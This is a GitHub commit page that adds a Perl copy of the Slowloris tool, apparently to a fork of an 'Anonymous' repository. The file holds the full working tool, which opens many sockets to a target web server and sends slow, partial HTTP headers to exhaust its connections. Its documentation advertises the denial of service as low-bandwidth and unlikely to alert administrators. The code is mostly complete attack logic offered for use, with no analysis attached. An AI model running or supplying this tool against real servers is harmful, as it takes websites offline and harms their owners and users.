forked from H1R0GH057/Anonymous
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
364 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,364 @@ | ||
#!/usr/bin/perl -w | ||
use strict; | ||
use IO::Socket::INET; | ||
use IO::Socket::SSL; | ||
use Getopt::Long; | ||
use Config; | ||
|
||
$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors | ||
|
||
print <<EOTEXT; | ||
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris | ||
EOTEXT | ||
|
||
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); | ||
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); | ||
my $result = GetOptions( | ||
'shost=s' => \$shost, | ||
'dns=s' => \$host, | ||
'httpready' => \$httpready, | ||
'num=i' => \$connections, | ||
'cache' => \$cache, | ||
'port=i' => \$port, | ||
'https' => \$ssl, | ||
'tcpto=i' => \$tcpto, | ||
'test' => \$test, | ||
'timeout=i' => \$timeout, | ||
'version' => \$version, | ||
); | ||
|
||
if ($version) { | ||
print "Version 0.7\n"; | ||
exit; | ||
} | ||
|
||
unless ($host) { | ||
print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; | ||
print "\n\tType 'perldoc $0' for help with options.\n\n"; | ||
exit; | ||
} | ||
|
||
unless ($port) { | ||
$port = 80; | ||
print "Defaulting to port 80.\n"; | ||
} | ||
|
||
unless ($tcpto) { | ||
$tcpto = 5; | ||
print "Defaulting to a 5 second tcp connection timeout.\n"; | ||
} | ||
|
||
unless ($test) { | ||
unless ($timeout) { | ||
$timeout = 100; | ||
print "Defaulting to a 100 second re-try timeout.\n"; | ||
} | ||
unless ($connections) { | ||
$connections = 1000; | ||
print "Defaulting to 1000 connections.\n"; | ||
} | ||
} | ||
|
||
my $usemultithreading = 0; | ||
if ( $Config{usethreads} ) { | ||
print "Multithreading enabled.\n"; | ||
$usemultithreading = 1; | ||
use threads; | ||
use threads::shared; | ||
} | ||
else { | ||
print "No multithreading capabilites found!\n"; | ||
print "Slowloris will be slower than normal as a result.\n"; | ||
} | ||
|
||
my $packetcount : shared = 0; | ||
my $failed : shared = 0; | ||
my $connectioncount : shared = 0; | ||
|
||
srand() if ($cache); | ||
|
||
if ($shost) { | ||
$sendhost = $shost; | ||
} | ||
else { | ||
$sendhost = $host; | ||
} | ||
if ($httpready) { | ||
$method = "POST"; | ||
} | ||
else { | ||
$method = "GET"; | ||
} | ||
|
||
if ($test) { | ||
my @times = ( "2", "30", "90", "240", "500" ); | ||
my $totaltime = 0; | ||
foreach (@times) { | ||
$totaltime = $totaltime + $_; | ||
} | ||
$totaltime = $totaltime / 60; | ||
print "This test could take up to $totaltime minutes.\n"; | ||
|
||
my $delay = 0; | ||
my $working = 0; | ||
my $sock; | ||
|
||
if ($ssl) { | ||
if ( | ||
$sock = new IO::Socket::SSL( | ||
PeerAddr => "$host", | ||
PeerPort => "$port", | ||
Timeout => "$tcpto", | ||
Proto => "tcp", | ||
) | ||
) | ||
{ | ||
$working = 1; | ||
} | ||
} | ||
else { | ||
if ( | ||
$sock = new IO::Socket::INET( | ||
PeerAddr => "$host", | ||
PeerPort => "$port", | ||
Timeout => "$tcpto", | ||
Proto => "tcp", | ||
) | ||
) | ||
{ | ||
$working = 1; | ||
} | ||
} | ||
if ($working) { | ||
if ($cache) { | ||
$rand = "?" . int( rand(99999999999999) ); | ||
} | ||
else { | ||
$rand = ""; | ||
} | ||
my $primarypayload = | ||
"GET /$rand HTTP/1.1\r\n" | ||
. "Host: $sendhost\r\n" | ||
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" | ||
. "Content-Length: 42\r\n"; | ||
if ( print $sock $primarypayload ) { | ||
print "Connection successful, now comes the waiting game...\n"; | ||
} | ||
else { | ||
"That's odd - I connected but couldn't send the data to $host:$port.\n"; | ||
print "Is something wrong?\nDying.\n"; | ||
exit; | ||
} | ||
} | ||
else { | ||
print "Uhm... I can't connect to $host:$port.\n"; | ||
print "Is something wrong?\nDying.\n"; | ||
exit; | ||
} | ||
for ( my $i = 0 ; $i <= $#times ; $i++ ) { | ||
print "Trying a $times[$i] second delay: \n"; | ||
sleep( $times[$i] ); | ||
if ( print $sock "X-a: b\r\n" ) { | ||
print "\tWorked.\n"; | ||
$delay = $times[$i]; | ||
} | ||
else { | ||
if ( $SIG{__WARN__} ) { | ||
$delay = $times[ $i - 1 ]; | ||
last; | ||
} | ||
print "\tFailed after $times[$i] seconds.\n"; | ||
} | ||
} | ||
|
||
if ( print $sock "Connection: Close\r\n\r\n" ) { | ||
print "Okay that's enough time. Slowloris closed the socket.\n"; | ||
print "Use $delay seconds for -timeout.\n"; | ||
exit; | ||
} | ||
else { | ||
print "Remote server closed socket.\n"; | ||
print "Use $delay seconds for -timeout.\n"; | ||
exit; | ||
} | ||
if ( $delay < 166 ) { | ||
print <<EOSUCKS2BU; | ||
Since the timeout ended up being so small ($delay seconds) and it generally | ||
takes between 200-500 threads for most servers and assuming any latency at | ||
all... you might have trouble using Slowloris against this target. You can | ||
tweak the -timeout flag down to less than 10 seconds but it still may not | ||
build the sockets in time. | ||
EOSUCKS2BU | ||
} | ||
} | ||
else { | ||
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; | ||
|
||
if ($usemultithreading) { | ||
domultithreading($connections); | ||
} | ||
else { | ||
doconnections( $connections, $usemultithreading ); | ||
} | ||
} | ||
|
||
sub doconnections { | ||
my ( $num, $usemultithreading ) = @_; | ||
my ( @first, @sock, @working ); | ||
my $failedconnections = 0; | ||
$working[$_] = 0 foreach ( 1 .. $num ); #initializing | ||
$first[$_] = 0 foreach ( 1 .. $num ); #initializing | ||
while (1) { | ||
$failedconnections = 0; | ||
print "\t\tBuilding sockets.\n"; | ||
foreach my $z ( 1 .. $num ) { | ||
if ( $working[$z] == 0 ) { | ||
if ($ssl) { | ||
if ( | ||
$sock[$z] = new IO::Socket::SSL( | ||
PeerAddr => "$host", | ||
PeerPort => "$port", | ||
Timeout => "$tcpto", | ||
Proto => "tcp", | ||
) | ||
) | ||
{ | ||
$working[$z] = 1; | ||
} | ||
else { | ||
$working[$z] = 0; | ||
} | ||
} | ||
else { | ||
if ( | ||
$sock[$z] = new IO::Socket::INET( | ||
PeerAddr => "$host", | ||
PeerPort => "$port", | ||
Timeout => "$tcpto", | ||
Proto => "tcp", | ||
) | ||
) | ||
{ | ||
$working[$z] = 1; | ||
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK | ||
} | ||
else { | ||
$working[$z] = 0; | ||
} | ||
} | ||
if ( $working[$z] == 1 ) { | ||
if ($cache) { | ||
$rand = "?" . int( rand(99999999999999) ); | ||
} | ||
else { | ||
$rand = ""; | ||
} | ||
my $primarypayload = | ||
"$method /$rand HTTP/1.1\r\n" | ||
. "Host: $sendhost\r\n" | ||
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" | ||
. "Content-Length: 42\r\n"; | ||
my $handle = $sock[$z]; | ||
if ($handle) { | ||
print $handle "$primarypayload"; | ||
if ( $SIG{__WARN__} ) { | ||
$working[$z] = 0; | ||
close $handle; | ||
$failed++; | ||
$failedconnections++; | ||
} | ||
else { | ||
$packetcount++; | ||
$working[$z] = 1; | ||
} | ||
} | ||
else { | ||
$working[$z] = 0; | ||
$failed++; | ||
$failedconnections++; | ||
} | ||
} | ||
else { | ||
$working[$z] = 0; | ||
$failed++; | ||
$failedconnections++; | ||
} | ||
} | ||
} | ||
print "\t\tSending data.\n"; | ||
foreach my $z ( 1 .. $num ) { | ||
if ( $working[$z] == 1 ) { | ||
if ( $sock[$z] ) { | ||
my $handle = $sock[$z]; | ||
if ( print $handle "X-a: b\r\n" ) { | ||
$working[$z] = 1; | ||
$packetcount++; | ||
} | ||
else { | ||
$working[$z] = 0; | ||
#debugging info | ||
$failed++; | ||
$failedconnections++; | ||
} | ||
} | ||
else { | ||
$working[$z] = 0; | ||
#debugging info | ||
$failed++; | ||
$failedconnections++; | ||
} | ||
} | ||
} | ||
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; | ||
sleep($timeout); | ||
} | ||
} | ||
|
||
sub domultithreading { | ||
my ($num) = @_; | ||
my @thrs; | ||
my $i = 0; | ||
my $connectionsperthread = 50; | ||
while ( $i < $num ) { | ||
$thrs[$i] = | ||
threads->create( \&doconnections, $connectionsperthread, 1 ); | ||
$i += $connectionsperthread; | ||
} | ||
my @threadslist = threads->list(); | ||
while ( $#threadslist > 0 ) { | ||
$failed = 0; | ||
} | ||
} | ||
|
||
__END__ | ||
=head1 TITLE | ||
Slowloris by llaera | ||
=head1 VERSION | ||
Version 1.0 Stable | ||
=head1 DATE | ||
02/11/2013 | ||
=head1 AUTHOR | ||
Laera Loris [email protected] | ||
=head1 ABSTRACT | ||
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. | ||
=head1 AFFECTS | ||
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? | ||
=head1 NOT AFFECTED | ||
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? |